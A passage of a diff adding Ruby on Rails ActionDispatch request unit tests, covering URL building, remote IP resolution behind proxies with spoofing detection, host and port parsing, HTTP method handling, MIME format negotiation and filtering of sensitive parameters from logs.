+ ActionDispatch::Http::URL.url_for(options)
+ end
+
+ test "url_for class method" do
+ e = assert_raise(ArgumentError) { url_for(:host => nil) }
+ assert_match(/Please provide the :host parameter/, e.message)
+
+ assert_equal '/books', url_for(:only_path => true, :path => '/books')
+
+ assert_equal 'http://www.example.com/books/?q=code', url_for(trailing_slash: true, path: '/books?q=code')
+ assert_equal 'http://www.example.com/books/?spareslashes=////', url_for(trailing_slash: true, path: '/books?spareslashes=////')
+
+ assert_equal 'http://www.example.com', url_for
+ assert_equal 'http://api.example.com', url_for(:subdomain => 'api')
+ assert_equal 'http://example.com', url_for(:subdomain => false)
+ assert_equal 'http://www.ror.com', url_for(:domain => 'ror.com')
+ assert_equal 'http://api.ror.co.uk', url_for(:host => 'www.ror.co.uk', :subdomain => 'api', :tld_length => 2)
+ assert_equal 'http://www.example.com:8080', url_for(:port => 8080)
+ assert_equal 'https://www.example.com', url_for(:protocol => 'https')
+ assert_equal 'http://www.example.com/docs', url_for(:path => '/docs')
+ assert_equal 'http://www.example.com#signup', url_for(:anchor => 'signup')
+ assert_equal 'http://www.example.com/', url_for(:trailing_slash => true)
+ assert_equal 'http://dhh:supersecret@www.example.com', url_for(:user => 'dhh', :password => 'supersecret')
+ assert_equal 'http://www.example.com?search=books', url_for(:params => { :search => 'books' })
+ assert_equal 'http://www.example.com?params=', url_for(:params => '')
+ assert_equal 'http://www.example.com?params=1', url_for(:params => 1)
+ end
+
+ test "remote ip" do
+ request = stub_request 'REMOTE_ADDR' => '1.2.3.4'
+ assert_equal '1.2.3.4', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => '1.2.3.4',
+ 'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => '127.0.0.1',
+ 'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,unknown'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,172.16.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,192.168.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,10.0.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6, 10.0.0.1, 10.0.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '3.4.5.6,127.0.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,192.168.0.1'
+ assert_equal nil, request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 172.31.4.4, 10.0.0.1'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
+ assert_equal nil, request.remote_ip
+ end
+
+ test "remote ip spoof detection" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
+ 'HTTP_CLIENT_IP' => '2.2.2.2'
+ e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
+ request.remote_ip
+ }
+ assert_match(/IP spoofing attack/, e.message)
+ assert_match(/HTTP_X_FORWARDED_FOR="1.1.1.1"/, e.message)
+ assert_match(/HTTP_CLIENT_IP="2.2.2.2"/, e.message)
+ end
+
+ test "remote ip with spoof detection disabled" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
+ 'HTTP_CLIENT_IP' => '2.2.2.2',
+ :ip_spoofing_check => false
+ assert_equal '1.1.1.1', request.remote_ip
+ end
+
+ test "remote ip v6" do
+ request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+ assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+ assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+ 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => '::1',
+ 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,unknown'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, ::1'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,::1'
+ assert_equal nil, request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::'
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
+ assert_equal nil, request.remote_ip
+ end
+
+ test "remote ip v6 spoof detection" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329',
+ 'HTTP_CLIENT_IP' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+ e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
+ request.remote_ip
+ }
+ assert_match(/IP spoofing attack/, e.message)
+ assert_match(/HTTP_X_FORWARDED_FOR="fe80:0000:0000:0000:0202:b3ff:fe1e:8329"/, e.message)
+ assert_match(/HTTP_CLIENT_IP="2001:0db8:85a3:0000:0000:8a2e:0370:7334"/, e.message)
+ end
+
+ test "remote ip v6 spoof detection disabled" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329',
+ 'HTTP_CLIENT_IP' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+ :ip_spoofing_check => false
+ assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+ end
+
+ test "remote ip with user specified trusted proxies String" do
+ @trusted_proxies = "67.205.106.73"
+
+ request = stub_request 'REMOTE_ADDR' => '3.4.5.6',
+ 'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => '172.16.0.1,67.205.106.73',
+ 'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
+ assert_equal '67.205.106.73', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => '67.205.106.73,3.4.5.6',
+ 'HTTP_X_FORWARDED_FOR' => '67.205.106.73'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '67.205.106.73,unknown'
+ assert_equal nil, request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 10.0.0.1, 67.205.106.73'
+ assert_equal '3.4.5.6', request.remote_ip
+ end
+
+ test "remote ip v6 with user specified trusted proxies String" do
+ @trusted_proxies = 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+
+ request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+ 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+ 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+ request = stub_request 'REMOTE_ADDR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1',
+ 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal '::1', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal nil, request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334'
+ assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+ end
+
+ test "remote ip with user specified trusted proxies Regexp" do
+ @trusted_proxies = /^67\.205\.106\.73$/i
+
+ request = stub_request 'REMOTE_ADDR' => '67.205.106.73',
+ 'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1, 9.9.9.9, 3.4.5.6, 67.205.106.73'
+ assert_equal '3.4.5.6', request.remote_ip
+ end
+
+ test "remote ip v6 with user specified trusted proxies Regexp" do
+ @trusted_proxies = /^fe80:0000:0000:0000:0202:b3ff:fe1e:8329$/i
+
+ request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334',
+ 'HTTP_X_FORWARDED_FOR' => 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329'
+ assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
+ end
+
+ test "remote ip middleware not present still returns an IP" do
+ request = ActionDispatch::Request.new({'REMOTE_ADDR' => '127.0.0.1'})
+ assert_equal '127.0.0.1', request.remote_ip
+ end
+
+ test "domains" do
+ request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org'
+ assert_equal "rubyonrails.org", request.domain
+
+ request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
+ assert_equal "rubyonrails.co.uk", request.domain(2)
+
+ request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk", :tld_length => 2
+ assert_equal "rubyonrails.co.uk", request.domain
+
+ request = stub_request 'HTTP_HOST' => "192.168.1.200"
+ assert_nil request.domain
+
+ request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
+ assert_nil request.domain
+
+ request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
+ assert_equal "200.com", request.domain
+ end
+
+ test "subdomains" do
+ request = stub_request 'HTTP_HOST' => "www.rubyonrails.org"
+ assert_equal %w( www ), request.subdomains
+ assert_equal "www", request.subdomain
+
+ request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
+ assert_equal %w( www ), request.subdomains(2)
+ assert_equal "www", request.subdomain(2)
+
+ request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk"
+ assert_equal %w( dev www ), request.subdomains(2)
+ assert_equal "dev.www", request.subdomain(2)
+
+ request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk", :tld_length => 2
+ assert_equal %w( dev www ), request.subdomains
+ assert_equal "dev.www", request.subdomain
+
+ request = stub_request 'HTTP_HOST' => "foobar.foobar.com"
+ assert_equal %w( foobar ), request.subdomains
+ assert_equal "foobar", request.subdomain
+
+ request = stub_request 'HTTP_HOST' => "192.168.1.200"
+ assert_equal [], request.subdomains
+ assert_equal "", request.subdomain
+
+ request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
+ assert_equal [], request.subdomains
+ assert_equal "", request.subdomain
+
+ request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
+ assert_equal %w( 192 168 1 ), request.subdomains
+ assert_equal "192.168.1", request.subdomain
+
+ request = stub_request 'HTTP_HOST' => nil
+ assert_equal [], request.subdomains
+ assert_equal "", request.subdomain
+ end
+
+ test "standard_port" do
+ request = stub_request
+ assert_equal 80, request.standard_port
+
+ request = stub_request 'HTTPS' => 'on'
+ assert_equal 443, request.standard_port
+ end
+
+ test "standard_port?" do
+ request = stub_request
+ assert !request.ssl?
+ assert request.standard_port?
+
+ request = stub_request 'HTTPS' => 'on'
+ assert request.ssl?
+ assert request.standard_port?
+
+ request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
+ assert !request.ssl?
+ assert !request.standard_port?
+
+ request = stub_request 'HTTP_HOST' => 'www.example.org:8443', 'HTTPS' => 'on'
+ assert request.ssl?
+ assert !request.standard_port?
+ end
+
+ test "optional port" do
+ request = stub_request 'HTTP_HOST' => 'www.example.org:80'
+ assert_equal nil, request.optional_port
+
+ request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
+ assert_equal 8080, request.optional_port
+ end
+
+ test "port string" do
+ request = stub_request 'HTTP_HOST' => 'www.example.org:80'
+ assert_equal '', request.port_string
+
+ request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
+ assert_equal ':8080', request.port_string
+ end
+
+ test "full path" do
+ request = stub_request 'SCRIPT_NAME' => '', 'PATH_INFO' => '/path/of/some/uri', 'QUERY_STRING' => 'mapped=1'
+ assert_equal "/path/of/some/uri?mapped=1", request.fullpath
+ assert_equal "/path/of/some/uri", request.path_info
+
+ request = stub_request 'SCRIPT_NAME' => '', 'PATH_INFO' => '/path/of/some/uri'
+ assert_equal "/path/of/some/uri", request.fullpath
+ assert_equal "/path/of/some/uri", request.path_info
+
+ request = stub_request 'SCRIPT_NAME' => '', 'PATH_INFO' => '/'
+ assert_equal "/", request.fullpath
+ assert_equal "/", request.path_info
+
+ request = stub_request 'SCRIPT_NAME' => '', 'PATH_INFO' => '/', 'QUERY_STRING' => 'm=b'
+ assert_equal "/?m=b", request.fullpath
+ assert_equal "/", request.path_info
+
+ request = stub_request 'SCRIPT_NAME' => '/hieraki', 'PATH_INFO' => '/'
+ assert_equal "/hieraki/", request.fullpath
+ assert_equal "/", request.path_info
+
+ request = stub_request 'SCRIPT_NAME' => '/collaboration/hieraki', 'PATH_INFO' => '/books/edit/2'
+ assert_equal "/collaboration/hieraki/books/edit/2", request.fullpath
+ assert_equal "/books/edit/2", request.path_info
+
+ request = stub_request 'SCRIPT_NAME' => '/path', 'PATH_INFO' => '/of/some/uri', 'QUERY_STRING' => 'mapped=1'
+ assert_equal "/path/of/some/uri?mapped=1", request.fullpath
+ assert_equal "/of/some/uri", request.path_info
+ end
+
+ test "host with default port" do
+ request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80'
+ assert_equal "rubyonrails.org", request.host_with_port
+ end
+
+ test "host with non default port" do
+ request = stub_request 'HTTP_HOST' => 'rubyonrails.org:81'
+ assert_equal "rubyonrails.org:81", request.host_with_port
+ end
+
+ test "server software" do
+ request = stub_request
+ assert_equal nil, request.server_software
+
+ request = stub_request 'SERVER_SOFTWARE' => 'Apache3.422'
+ assert_equal 'apache', request.server_software
+
+ request = stub_request 'SERVER_SOFTWARE' => 'lighttpd(1.1.4)'
+ assert_equal 'lighttpd', request.server_software
+ end
+
+ test "xml http request" do
+ request = stub_request
+
+ assert !request.xml_http_request?
+ assert !request.xhr?
+
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => 'DefinitelyNotAjax1.0'
+ assert !request.xml_http_request?
+ assert !request.xhr?
+
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'
+ assert request.xml_http_request?
+ assert request.xhr?
+ end
+
+ test "reports ssl" do
+ request = stub_request
+ assert !request.ssl?
+
+ request = stub_request 'HTTPS' => 'on'
+ assert request.ssl?
+ end
+
+ test "reports ssl when proxied via lighttpd" do
+ request = stub_request
+ assert !request.ssl?
+
+ request = stub_request 'HTTP_X_FORWARDED_PROTO' => 'https'
+ assert request.ssl?
+ end
+
+ test "scheme returns https when proxied" do
+ request = stub_request 'rack.url_scheme' => 'http'
+ assert !request.ssl?
+ assert_equal 'http', request.scheme
+
+ request = stub_request 'rack.url_scheme' => 'http', 'HTTP_X_FORWARDED_PROTO' => 'https'
+ assert request.ssl?
+ assert_equal 'https', request.scheme
+ end
+
+ test "String request methods" do
+ [:get, :post, :patch, :put, :delete].each do |method|
+ request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
+ assert_equal method.to_s.upcase, request.method
+ end
+ end
+
+ test "Symbol forms of request methods via method_symbol" do
+ [:get, :post, :patch, :put, :delete].each do |method|
+ request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
+ assert_equal method, request.method_symbol
+ end
+ end
+
+ test "invalid http method raises exception" do
+ assert_raise(ActionController::UnknownHttpMethod) do
+ request = stub_request 'REQUEST_METHOD' => 'RANDOM_METHOD'
+ request.request_method
+ end
+ end
+
+ test "allow method hacking on post" do
+ %w(GET OPTIONS PATCH PUT POST DELETE).each do |method|
+ request = stub_request "REQUEST_METHOD" => method.to_s.upcase
+ assert_equal(method == "HEAD" ? "GET" : method, request.method)
+ end
+ end
+
+ test "invalid method hacking on post raises exception" do
+ assert_raise(ActionController::UnknownHttpMethod) do
+ request = stub_request "REQUEST_METHOD" => "_RANDOM_METHOD"
+ request.request_method
+ end
+ end
+
+ test "restrict method hacking" do
+ [:get, :patch, :put, :delete].each do |method|
+ request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
+ 'action_dispatch.request.request_parameters' => { :_method => 'put' }
+ assert_equal method.to_s.upcase, request.method
+ end
+ end
+
+ test "post masquerading as patch" do
+ request = stub_request 'REQUEST_METHOD' => 'PATCH', "rack.methodoverride.original_method" => "POST"
+ assert_equal "POST", request.method
+ assert_equal "PATCH", request.request_method
+ assert request.patch?
+ end
+
+ test "post masquerading as put" do
+ request = stub_request 'REQUEST_METHOD' => 'PUT', "rack.methodoverride.original_method" => "POST"
+ assert_equal "POST", request.method
+ assert_equal "PUT", request.request_method
+ assert request.put?
+ end
+
+ test "post uneffected by local inflections" do
+ existing_acrnoyms = ActiveSupport::Inflector.inflections.acronyms.dup
+ existing_acrnoym_regex = ActiveSupport::Inflector.inflections.acronym_regex.dup
+ begin
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym "POS"
+ end
+ assert_equal "pos_t", "POST".underscore
+ request = stub_request "REQUEST_METHOD" => "POST"
+ assert_equal :post, ActionDispatch::Request::HTTP_METHOD_LOOKUP["POST"]
+ assert_equal :post, request.method_symbol
+ assert request.post?
+ ensure
+ # Reset original acronym set
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.send(:instance_variable_set,"@acronyms",existing_acrnoyms)
+ inflect.send(:instance_variable_set,"@acronym_regex",existing_acrnoym_regex)
+ end
+ end
+ end
+
+ test "xml format" do
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => 'xml' })
+ assert_equal Mime::XML, request.format
+ end
+
+ test "xhtml format" do
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => 'xhtml' })
+ assert_equal Mime::HTML, request.format
+ end
+
+ test "txt format" do
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => 'txt' })
+ assert_equal Mime::TEXT, request.format
+ end
+
+ test "XMLHttpRequest" do
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest',
+ 'HTTP_ACCEPT' =>
+ [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(",")
+ request.expects(:parameters).at_least_once.returns({})
+ assert request.xhr?
+ assert_equal Mime::JS, request.format
+ end
+
+ test "content type" do
+ request = stub_request 'CONTENT_TYPE' => 'text/html'
+ assert_equal Mime::HTML, request.content_mime_type
+ end
+
+ test "can override format with parameter" do
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => :txt })
+ assert !request.format.xml?
+
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => :xml })
+ assert request.format.xml?
+ end
+
+ test "no content type" do
+ request = stub_request
+ assert_equal nil, request.content_mime_type
+ end
+
+ test "content type is XML" do
+ request = stub_request 'CONTENT_TYPE' => 'application/xml'
+ assert_equal Mime::XML, request.content_mime_type
+ end
+
+ test "content type with charset" do
+ request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8'
+ assert_equal Mime::XML, request.content_mime_type
+ end
+
+ test "user agent" do
+ request = stub_request 'HTTP_USER_AGENT' => 'TestAgent'
+ assert_equal 'TestAgent', request.user_agent
+ end
+
+ test "parameters" do
+ request = stub_request
+ request.stubs(:request_parameters).returns({ "foo" => 1 })
+ request.stubs(:query_parameters).returns({ "bar" => 2 })
+
+ assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
+ assert_equal({"foo" => 1}, request.request_parameters)
+ assert_equal({"bar" => 2}, request.query_parameters)
+ end
+
+ test "parameters still accessible after rack parse error" do
+ mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
+ request = nil
+ request = stub_request(mock_rack_env)
+
+ assert_raises(ActionController::BadRequest) do
+ # rack will raise a TypeError when parsing this query string
+ request.parameters
+ end
+
+ assert_equal({}, request.parameters)
+ end
+
+ test "we have access to the original exception" do
+ mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
+ request = nil
+ request = stub_request(mock_rack_env)
+
+ e = assert_raises(ActionController::BadRequest) do
+ # rack will raise a TypeError when parsing this query string
+ request.parameters
+ end
+
+ assert e.original_exception
+ assert_equal e.original_exception.backtrace, e.backtrace
+ end
+
+ test "formats with accept header" do
+ request = stub_request 'HTTP_ACCEPT' => 'text/html'
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [Mime::HTML], request.formats
+
+ request = stub_request 'HTTP_ACCEPT' => ''
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [Mime::HTML], request.formats
+
+ request = stub_request 'HTTP_ACCEPT' => '',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [Mime::JS], request.formats
+
+ request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [Mime::XML], request.formats
+
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => :txt })
+ assert_equal [Mime::TEXT], request.formats
+
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ :format => :unknown })
+ assert_instance_of Mime::NullType, request.format
+ end
+
+ test "format is not nil with unknown format" do
+ request = stub_request
+ request.expects(:parameters).at_least_once.returns({ format: :hello })
+ assert_equal request.format.nil?, true
+ assert_equal request.format.html?, false
+ assert_equal request.format.xml?, false
+ assert_equal request.format.json?, false
+ end
+
+ test "formats with xhr request" do
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [Mime::JS], request.formats
+ end
+
+ test "ignore_accept_header" do
+ ActionDispatch::Request.ignore_accept_header = true
+
+ begin
+ request = stub_request 'HTTP_ACCEPT' => 'application/xml'
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [ Mime::HTML ], request.formats
+
+ request = stub_request 'HTTP_ACCEPT' => 'koz-asked/something-crazy'
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [ Mime::HTML ], request.formats
+
+ request = stub_request 'HTTP_ACCEPT' => '*/*;q=0.1'
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [ Mime::HTML ], request.formats
+
+ request = stub_request 'HTTP_ACCEPT' => 'application/jxw'
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [ Mime::HTML ], request.formats
+
+ request = stub_request 'HTTP_ACCEPT' => 'application/xml',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal [ Mime::JS ], request.formats
+
+ request = stub_request 'HTTP_ACCEPT' => 'application/xml',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ request.expects(:parameters).at_least_once.returns({:format => :json})
+ assert_equal [ Mime::JSON ], request.formats
+ ensure
+ ActionDispatch::Request.ignore_accept_header = false
+ end
+ end
+
+ test "negotiate_mime" do
+ request = stub_request 'HTTP_ACCEPT' => 'text/html',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+
+ request.expects(:parameters).at_least_once.returns({})
+
+ assert_equal nil, request.negotiate_mime([Mime::XML, Mime::JSON])
+ assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::HTML])
+ assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::ALL])
+
+ request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ request.expects(:parameters).at_least_once.returns({})
+ assert_equal Mime::XML, request.negotiate_mime([Mime::XML, Mime::CSV])
+ end
+
+ test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
+ request = stub_request('rack.input' => StringIO.new("foo"),
+ 'CONTENT_LENGTH' => 3)
+ assert_equal "foo", request.raw_post
+ assert_equal "foo", request.env['rack.input'].read
+ end
+
+ test "process parameter filter" do
+ test_hashes = [
+ [{'foo'=>'bar'},{'foo'=>'bar'},%w'food'],
+ [{'foo'=>'bar'},{'foo'=>'[FILTERED]'},%w'foo'],
+ [{'foo'=>'bar', 'bar'=>'foo'},{'foo'=>'[FILTERED]', 'bar'=>'foo'},%w'foo baz'],
+ [{'foo'=>'bar', 'baz'=>'foo'},{'foo'=>'[FILTERED]', 'baz'=>'[FILTERED]'},%w'foo baz'],
+ [{'bar'=>{'foo'=>'bar','bar'=>'foo'}},{'bar'=>{'foo'=>'[FILTERED]','bar'=>'foo'}},%w'fo'],
+ [{'foo'=>{'foo'=>'bar','bar'=>'foo'}},{'foo'=>'[FILTERED]'},%w'f banana'],
+ [{'baz'=>[{'foo'=>'baz'}, "1"]}, {'baz'=>[{'foo'=>'[FILTERED]'}, "1"]}, [/foo/]]]
+
+ test_hashes.each do |before_filter, after_filter, filter_words|
+ parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
+ assert_equal after_filter, parameter_filter.filter(before_filter)
+
+ filter_words << 'blah'
+ filter_words << lambda { |key, value|
+ value.reverse! if key =~ /bargain/
+ }
+
+ parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
+ before_filter['barg'] = {'bargain'=>'gain', 'blah'=>'bar', 'bar'=>{'bargain'=>{'blah'=>'foo'}}}
+ after_filter['barg'] = {'bargain'=>'niag', 'blah'=>'[FILTERED]', 'bar'=>{'bargain'=>{'blah'=>'[FILTERED]'}}}
+
+ assert_equal after_filter, parameter_filter.filter(before_filter)
+ end
+ end
+
+ test "filtered_parameters returns params filtered" do
+ request = stub_request('action_dispatch.request.parameters' =>
+ { 'lifo' => 'Pratik', 'amount' => '420', 'step' => '1' },
+ 'action_dispatch.parameter_filter' => [:lifo, :amount])
+
+ params = request.filtered_parameters
+ assert_equal "[FILTERED]", params["lifo"]
+ assert_equal "[FILTERED]", params["amount"]
+ assert_equal "1", params["step"]
+ end
+
+ test "filtered_env filters env as a whole" do
+ request = stub_request('action_dispatch.request.parameters' =>
+ { 'amount' => '420', 'step' => '1' }, "RAW_POST_DATA" => "yada yada",
+ 'action_dispatch.parameter_filter' => [:lifo, :amount])
+
+ request = stub_request(request.filtered_env)
+
+ assert_equal "[FILTERED]", request.raw_post
+ assert_equal "[FILTERED]", request.params["amount"]
+ assert_equal "1", request.params["step"]
+ end
+
+ test "filtered_path returns path with filtered query string" do
+ %w(; &).each do |sep|
+ request = stub_request('QUERY_STRING' => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
+ 'PATH_INFO' => '/authenticate',
+ 'action_dispatch.parameter_filter' => [:secret, :api_key])
+
+ path = request.filtered_path
+ assert_equal %w(/authenticate?username=sikachu secret=[FILTERED] api_key=[FILTERED]).join(sep), path
+ end
+ end
+
+ test "filtered_path should not unescape a genuine '[FILTERED]' value" do
+ request = stub_request('QUERY_STRING' => "secret=bd4f21f&genuine=%5BFILTERED%5D",
+ 'PATH_INFO' => '/authenticate',
+ 'action_dispatch.parameter_filter' => [:secret])
+
+ path = request.filtered_path
